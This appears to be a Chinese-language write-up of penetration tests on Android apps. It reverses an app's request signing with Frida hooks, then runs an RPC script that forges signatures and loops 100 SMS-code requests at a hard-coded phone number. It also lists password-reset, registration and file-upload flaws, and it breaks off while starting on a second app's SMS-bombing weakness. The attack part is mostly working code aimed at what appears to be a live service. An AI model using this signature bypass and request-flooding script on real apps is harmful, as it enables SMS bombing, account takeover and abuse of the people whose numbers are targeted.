app1
apk文件下载到电脑,adb install 安装到真机上,打开是一个注册页面
真机把SocksDroid打开,随便输个电话号,电脑开charles抓包:
我们放到burp重发器里,改参数重发,不出意外,果然做了签名校验不让改包:
ok,逆一下这个apk,找到算法hook掉就好了,定位一下特征:
这个函数是发送请求的一个函数,我们观察一下这段代码,可以看到我们最终发出去的sign参数的组成是:(时间 + 类型 + 未知字符 + 手机号),并且这个未知字符是这个函数的一个参数,那好办了。
直接hook这个getSmscode函数,看看传来了哪些值,就可以得到这个未知字符,有了这个未知字符我们就可以构建sign
真机开下frida服务端,做一下端口转发:
hook代码:
import frida
import sys
def on_message(message,data):
print(message)
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
with open('./bk.js') as f:
script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
sys.stdin.read()
Java.perform(function(){
Java.use('com.jx885.library.http.CommAction').getSmscode.implementation=function(aa,bb,cc){
console.log("hook success");
console.log("type:"+aa,"key:"+bb,"phone:"+cc);
return this.getSmscode(aa,bb,cc);
}
});
hook代码执行监听,手机重新发注册的包,成功监控到:
未知字符找到了,我们用getStringMD5toUpperCase(yyyyMMddHHmmss + i + str + str2) 自己先算一组数据验证下,没有错误:
这回函数需要的参数我们都拥有了,我们直接通过frida的rpc来调用这个函数,直接给我们生成sign , 并简单写个发送请求的脚本,直接实现一条龙。
hook代码:
import frida
import time
import datetime
import requests
url = 'http://xxxxxx/Appapi/Common/getSmscode'
sess = frida.get_remote_device()
nsess=sess.attach('app名字')
phone = '15149029981'
type1 = '1'
def on_message(message,data):
print(message)
with open('./demo1.js') as f:
script = nsess.create_script(f.read())
script.on('message',on_message)
script.load()
for i in range(100):
curr_time = datetime.datetime.now()
timestamp=datetime.datetime.strftime(curr_time,'%Y%m%d%H%M%S')
print(timestamp)
time.sleep(1)
sign = script.exports.getsign(f'{timestamp}{type1}wocaonima{phone}')
print(sign)
dd = '"phone":"{0}","sign":"{1}","currTime":"{2}","type":"1"'.format(phone,sign,timestamp)
nd = '{'+dd+'}'
print('hook success:'+nd)
userjson={'userjson':nd}
talk = requests.post(url=url,data=userjson)
print("发送成功")
function sign(s){
var res = '';
Java.perform(function(){
res = Java.use('com.jx885.library.http.network.HttpUtils').getStringMD5toUpperCase(s);
})
return res
}
rpc.exports={
getsign:sign
};
第一个漏洞:验证码爆破
结果:
第二个漏洞:任意用户密码重置
结果
第三个漏洞:任意用户注册与手机绑定
结果
第四个漏洞:任意文件上传
结果
app2
同样adb install安装到真机中,打开app,首页就是登录注册页面:
charles加socksdroid抓一个注册的包,并放到burp的重发器中重发看看,发送的信息是加密的,但我这里发现了一个很有意思的一个点,就是每次我们点获取验证码的时候,我们快速重发,会收到短信,感觉应该存在短信轰炸漏洞,只不过加密时有时间戳,导致过了这个时间段就不行了:
我们逆一下这个app,试试找到他的加密算法,